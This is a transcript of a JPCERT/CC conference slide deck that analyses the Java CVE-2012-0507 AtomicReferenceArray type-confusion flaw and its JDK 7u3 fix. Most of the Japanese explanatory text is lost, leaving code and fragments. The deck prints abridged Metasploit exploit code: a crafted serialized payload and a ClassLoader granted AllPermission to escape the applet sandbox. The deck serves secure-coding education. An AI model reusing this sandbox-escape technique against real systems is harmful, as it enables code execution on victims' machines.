JRE標準ライブラリの脆弱性事例を理解する (AtomicReferenceArrayクラス と Type...

45
Oracle Java 標準ライブラリ AtomicReferenceArray クラスにおける デシリアライズに関する脆弱性 (CVE-2012-0507) 2014518() JPCERT/CC 情報通対策グループ 洋三 ([email protected]) 1 JJUG CCC 2014 Spring

description

JJUG CCC 2014 Spring における講演資料 http://www.java-users.jp/?page_id=1048#R2-6

Transcript of JRE標準ライブラリの脆弱性事例を理解する (AtomicReferenceArrayクラス と Type...

  • 1. Oracle Java AtomicReferenceArray (CVE-2012-0507) 2014518() JPCERT/CC ([email protected]) 1 JJUG CCC 2014 Spring

2. Copyright2014 JPCERT/CC All rights reserved. http://www.tomo.gr.jp/root/e9706.htmlJPCERT/CC , 2 3. Copyright2014 JPCERT/CC All rights reserved. JPCERT/CC JPCERT Coordination Center 3 4. Copyright2014 JPCERT/CC All rights reserved. JPCERT/CC 4 5. Copyright2014 JPCERT/CC All rights reserved.5 ! Java 6. Copyright2014 JPCERT/CC All rights reserved.6 7. Copyright2014 JPCERT/CC All rights reserved.7 8. Copyright2014 JPCERT/CC All rights reserved. 8 JRE (AtomicReferenceArray Type Confusion) (CVE-2012-0507) 9. Copyright2014 JPCERT/CC All rights reserved. CVE-2012-0507 AtomicReferenceArray ClassLoader applet 9 10. Copyright2014 JPCERT/CC All rights reserved. Exploit 10 http://pentestlab.wordpress.com/2012/03/30/java-exploit- attack-cve-2012-0507/ . . 11. Copyright2014 JPCERT/CC All rights reserved. Java Applet 11 applet lApplet : Runtime::exec OS l () PC 12. Copyright2014 JPCERT/CC All rights reserved. 12 Webapplet ClassLoader (java ) 13. Copyright2014 JPCERT/CC All rights reserved. ClassLoader defineClass 13 protected final Class defineClass(String name, byte[] b, int off, int len, ProtectionDomain protectionDomain) name ---- b ---- byte off ---- b len ---- protectionDomain ---- ProtectionDomain ! ClassLoader defineClass . 14. Copyright2014 JPCERT/CC All rights reserved.14 class Help extends ClassLoader { ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[8192]; buffer = bos.toByteArray(); URL url = new URL( "file:///" ); Certificate[] certs = new Certificate[0]; Permissions perm = new Permissions(); perm.add( new AllPermission() ); ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm ); cls = defineClass(className, buffer, 0, buffer.length, pd ); Class class_cls = cls.getClass(); } defineClass 15. Copyright2014 JPCERT/CC All rights reserved.15 class Help extends ClassLoader { ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[8192]; buffer = bos.toByteArray(); URL url = new URL( "file:///" ); Certificate[] certs = new Certificate[0]; Permissions perm = new Permissions(); perm.add( new AllPermission() ); ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm ); cls = defineClass(className, buffer, 0, buffer.length, pd ); Class class_cls = cls.getClass(); } . file:/// . . AllPermission() (, , ) defineClass (, , ) 16. Copyright2014 JPCERT/CC All rights reserved. ! ClassLoader new ! defineClass protected 16 defineClass ClassLoader 17. Copyright2014 JPCERT/CC All rights reserved. ! ClassLoader ClassLoader cl = new ClassLoader(); ClassLoader new 17 Designing Malicious Applets(1) ! ClassLoader ClassLoader cl = getClass().getClassLoader(); prohibited allowed defineClass protected ClassLoader ? 18. Copyright2014 JPCERT/CC All rights reserved. ! ClassLoader ? 18 public class Help extends ClassLoader() { ... } Help ahelp = new Help(); Runtime Exception ClassLoader ? ! ClassLoader ? Help ahelp = (Help)getClass().getClassLoader(); Designing Malicious Applets(2) prohibited Runtime Exception 19. Copyright2014 JPCERT/CC All rights reserved. Type Confusion Vulnerability 19 Help ahelp = (Help)getClass().getClassLoader(); Type confusion ! atomicreferencearray.set(0, classloader); AtomicReferenceArray type confusion set 20. Copyright2014 JPCERT/CC All rights reserved. AtomicReferenceArray ! java.util.concurrent.atomic ! (Java SE API ) ! ! readObject 20 21. Copyright2014 JPCERT/CC All rights reserved. AtomicReferenceArray 21 import sun.misc.Unsafe; public class AtomicReferenceArray implements java.io.Serializable { private static final Unsafe unsafe = Unsafe.getUnsafe(); private final Object[] array; private long checkedByteOffset(int i) { return (calculating offset and boundary check ); } public final void set(int i, E newValue) { unsafe.putObjectVolatile(array, checkedByteOffset(i), newValue); } AtomicReferenceArray.java set array newValue 22. Copyright2014 JPCERT/CC All rights reserved. AtomicReferenceArray 22 import sun.misc.Unsafe; public class AtomicReferenceArray implements java.io.Serializable { private static final Unsafe unsafe = Unsafe.getUnsafe(); private final Object[] array; private long checkedByteOffset(int i) { return (calculating offset and boundary check ); } public final void set(int i, E newValue) { unsafe.putObjectVolatile(array, checkedByteOffset(i), newValue); } AtomicReferenceArray.java set array newValue unsafe.putObjectVolatile(Object o, long offset, Object x) x o . 23. Copyright2014 JPCERT/CC All rights reserved. http://www.rapid7.com/db/modules/exploit/multi/browser/java_atomicreferencearray 23 lExploit class (Applet) Exploit code lAtomicReferenceArray lUnsafe (AtomicReferenceArray class ) JREAPI lHelp class (ClassLoader) Exploit Code for CVE-2012-0507 Metasploit 24. Copyright2014 JPCERT/CC All rights reserved.24 public class Exploit extends Applet { : public static byte[] StringToBytes(String s) { return (converts s to byte data); } public void init() { String as[] = { ACED0005757200135B4C6A6176612E6C616E672E4F62, (16) }; StringBuilder stringbuilder = new StringBuilder(); for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]); ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString()))); Object aobj[] = (Object[])objectinputstream.readObject(); Help ahelp[] = (Help[])aobj[0]; AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1]; ClassLoader classloader = getClass().getClassLoader(); atomicreferencearray.set(0, classloader); Help _tmp = ahelp[0]; : Help.doWork(ahelp[0], this, ); } Exploit.java Exploit Code for CVE-2012-0507 25. Copyright2014 JPCERT/CC All rights reserved.25 public class Exploit extends Applet { : public static byte[] StringToBytes(String s) { return (converts s to byte data); } public void init() { String as[] = { ACED0005757200135B4C6A6176612E6C616E672E4F62, (serialized data in hexadecimal) }; StringBuilder stringbuilder = new StringBuilder(); for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]); ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString()))); Object aobj[] = (Object[])objectinputstream.readObject(); Help ahelp[] = (Help[])aobj[0]; AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1]; ClassLoader classloader = getClass().getClassLoader(); atomicreferencearray.set(0, classloader); Help _tmp = ahelp[0]; : Help.doWork(ahelp[0], this, ); } Exploit.java Exploit Code for CVE-2012-0507 aobj[0] aobj[1] Help[] ahelp[] AtomicReferenceArray atomicreferencearray private Object [] array Object aobj[] array ahelp 26. Copyright2014 JPCERT/CC All rights reserved. ! array ahelp ! array ahelp ahelp 26 Java Exploit Code for CVE-2012-0507 aobj[0] aobj[1] Help[] ahelp[] AtomicReferenceArray atomicreferencearray private Object [] array Object aobj[] 27. Copyright2014 JPCERT/CC All rights reserved.27 public class Exploit extends Applet { : public static byte[] StringToBytes(String s) { return (converts s to byte data); } public void init() { String as[] = { ACED0005757200135B4C6A6176612E6C616E672E4F62, (serialized data in hexadecimal) }; StringBuilder stringbuilder = new StringBuilder(); for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]); ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString()))); Object aobj[] = (Object[])objectinputstream.readObject(); Help ahelp[] = (Help[])aobj[0]; AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1]; ClassLoader classloader = getClass().getClassLoader(); atomicreferencearray.set(0, classloader); Help _tmp = ahelp[0]; : Help.doWork(ahelp[0], this, ); } Exploit.java Exploit Code for CVE-2012-0507 aobj[0] aobj[1] Help[] ahelp[] AtomicReferenceArray atomicreferencearray private Object [] array Object aobj[] ClassLoader Classloader array[0] , ahelp[0] 28. Copyright2014 JPCERT/CC All rights reserved.28 public class Exploit extends Applet { : public static byte[] StringToBytes(String s) { return (converts s to byte data); } public void init() { String as[] = { ACED0005757200135B4C6A6176612E6C616E672E4F62, (serialized data in hexadecimal) }; StringBuilder stringbuilder = new StringBuilder(); for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]); ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString()))); Object aobj[] = (Object[])objectinputstream.readObject(); Help ahelp[] = (Help[])aobj[0]; AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1]; ClassLoader classloader = getClass().getClassLoader(); atomicreferencearray.set(0, classloader); Help _tmp = ahelp[0]; : Help.doWork(ahelp[0], this, ); } Exploit.java Exploit Code for CVE-2012-0507 public class Help extends ClassLoader implements Serializable { public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int lport) { Class cls = null; cls = h.defineClass( ...); } } Help ClassLoader defineClass Help.java Help ClassLoader 29. Copyright2014 JPCERT/CC All rights reserved.29 public class Help extends ClassLoader implements Serializable { public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int lport) { ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[8192]; InputStream is = expl.getClass().getResourceAsStream(directory path to create); while( ( length = is.read( buffer ) ) > 0 ) bos.write( buffer, 0, length ); buffer = bos.toByteArray(); URL url = new URL( "file:///" ); Certificate[] certs = new Certificate[0]; Permissions perm = new Permissions(); perm.add( new AllPermission() ); ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm ); cls = h.defineClass( classNames[index], buffer, 0, buffer.length, pd ); Class class_cls = cls.getClass(); } } Help.java Help(doWork) . Exploit Code for CVE-2012-0507 30. Copyright2014 JPCERT/CC All rights reserved.30 public class Help extends ClassLoader implements Serializable { public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int lport) { ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[8192]; InputStream is = expl.getClass().getResourceAsStream(directory path to create); while( ( length = is.read( buffer ) ) > 0 ) bos.write( buffer, 0, length ); buffer = bos.toByteArray(); URL url = new URL( "file:///" ); Certificate[] certs = new Certificate[0]; Permissions perm = new Permissions(); perm.add( new AllPermission() ); ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm ); cls = h.defineClass( classNames[index], buffer, 0, buffer.length, pd ); Class class_cls = cls.getClass(); } } Help.java Help(doWork) . . file:/// . Exploit Code for CVE-2012-0507 . AllPermission() (, , ) (, , ) 31. Copyright2014 JPCERT/CC All rights reserved.31 Malicious Web Site Exploit Help ClassLoader JVM Attacking class Help defineClass() Exploit Code for CVE-2012-0507 32. Copyright2014 JPCERT/CC All rights reserved. Why the exploit works? ! Unsafe ( ). ! putObjectVolatile . 32 ! Unsafe ! readObject ( ) ! AtomicReferenceArray Unsafe AtomicReferenceArray 33. Copyright2014 JPCERT/CC All rights reserved. ? ! AtomicReferenceArray array ! readObject array Object array Object Object 33 34. Copyright2014 JPCERT/CC All rights reserved. Fixing The Problem 34 JDK 7u3 . public class AtomicReferenceArray implements java.io.Serializable { private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { } } AtomicReferenceArray.java () readObject 35. Copyright2014 JPCERT/CC All rights reserved.35 public class AtomicReferenceArray implements java.io.Serializable { .. private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { Object a = s.readFields().get("array", null); if (a == null || !a.getClass().isArray()) throw new java.io.InvalidObjectException("Not array type"); if (a.getClass() != Object[].class) a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class); unsafe.putObjectVolatile(this, arrayFieldOffset, a); } } .. AtomicReferenceArray.java () AtomicReferenceArray::readObject array array 36. Copyright2014 JPCERT/CC All rights reserved.36 public class AtomicReferenceArray implements java.io.Serializable { .. private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { Object a = s.readFields().get("array", null); if (a == null || !a.getClass().isArray()) throw new java.io.InvalidObjectException("Not array type"); if (a.getClass() != Object[].class) a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class); unsafe.putObjectVolatile(this, arrayFieldOffset, a); } } .. AtomicReferenceArray.java (fixed version) AtomicReferenceArray::readObject AtomicReferenceArray private Object [] array array Object [0] Object [1] Object [2] 37. Copyright2014 JPCERT/CC All rights reserved.37 public class AtomicReferenceArray implements java.io.Serializable { .. private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { Object a = s.readFields().get("array", null); if (a == null || !a.getClass().isArray()) throw new java.io.InvalidObjectException("Not array type"); if (a.getClass() != Object[].class) a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class); unsafe.putObjectVolatile(this, arrayFieldOffset, a); } } .. AtomicReferenceArray.java (fixed version) AtomicReferenceArray::readObject copying serialized data as an array Help [0] Help [1] Help [2] array array Object [0] Object [1] Object [2] Help [0] Help [1] Help [2] array array Object [0] Object [1] Object [2] Object Object AtomicReferenceArray private Object [] array 38. Copyright2014 JPCERT/CC All rights reserved.38 public class AtomicReferenceArray implements java.io.Serializable { .. private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { Object a = s.readFields().get("array", null); if (a == null || !a.getClass().isArray()) throw new java.io.InvalidObjectException("Not array type"); if (a.getClass() != Object[].class) a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class); unsafe.putObjectVolatile(this, arrayFieldOffset, a); } } .. AtomicReferenceArray.java (fixed version) AtomicReferenceArray::readObject static { int scale; try { unsafe = Unsafe.getUnsafe(); arrayFieldOffset = unsafe.objectFieldOffset (AtomicReferenceArray.class.getDeclaredField("array")); base = unsafe.arrayBaseOffset(Object[].class); scale = unsafe.arrayIndexScale(Object[].class); : } arrayFieldOffset array array 39. Copyright2014 JPCERT/CC All rights reserved. Object [0] Object [1] Object [2] What happens if the fixed code is exploited 39 Help[] ahelp[] AtomicReferenceArray atomicreferencearray private Object [] array aobj[0] aobj[1] Object aobj[] ClassLoader array ahelp ahelp[0] null NullPointerException Arrays.copyOf(...) array Help [0] Help [1] Help [2] ahelp Object Object 40. Copyright2014 JPCERT/CC All rights reserved. Note to this fix ! readObject AtomicReferenceArray ! AtomicReferenceArray readObject 40 41. Copyright2014 JPCERT/CC All rights reserved. Summary n? Object n readObject , Unsafe 41 42. Copyright2014 JPCERT/CC All rights reserved. Java ! SER07-J. ! https://www.jpcert.or.jp/java-rules/ser07-j.html 42 43. Copyright2014 JPCERT/CC All rights reserved. CWE: Common Weakness Enumeration ! CWE-502: Deserialization of Untrusted Data ! http://cwe.mitre.org/data/definitions/502.html 43 44. Copyright2014 JPCERT/CC All rights reserved. References ! CVE-2012-0507 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0507 ! CVE-2012-0507 Java AtomicReferenceArray Type Violation Vulnerability http://www.rapid7.com/db/modules/exploit/multi/browser/ java_atomicreferencearray ! Recent Java Exploitation Trends and malware https://media.blackhat.com/bh-us-12/Briefings/Oh/ BH_US_12_Oh_Recent_Java_Exploitation_Trends_and_Malware_Slides.pdf ! Exploiting Type Confusion Vulnerabilities in Oracle JRE (CVE-2011-3521/CVE-2012-0507) http://schierlm.users.sourceforge.net/TypeConfusion.html ! The infamous sun.misc.Unsafe explained http://www.javacodegeeks.com/2013/12/the-infamous-sun- misc-unsafe-explained.html 44 45. Copyright2014 JPCERT/CC All rights reserved.45 JPCERT (https://www.jpcert.or.jp/) (https://www.jpcert.or.jp/securecoding/) ([email protected])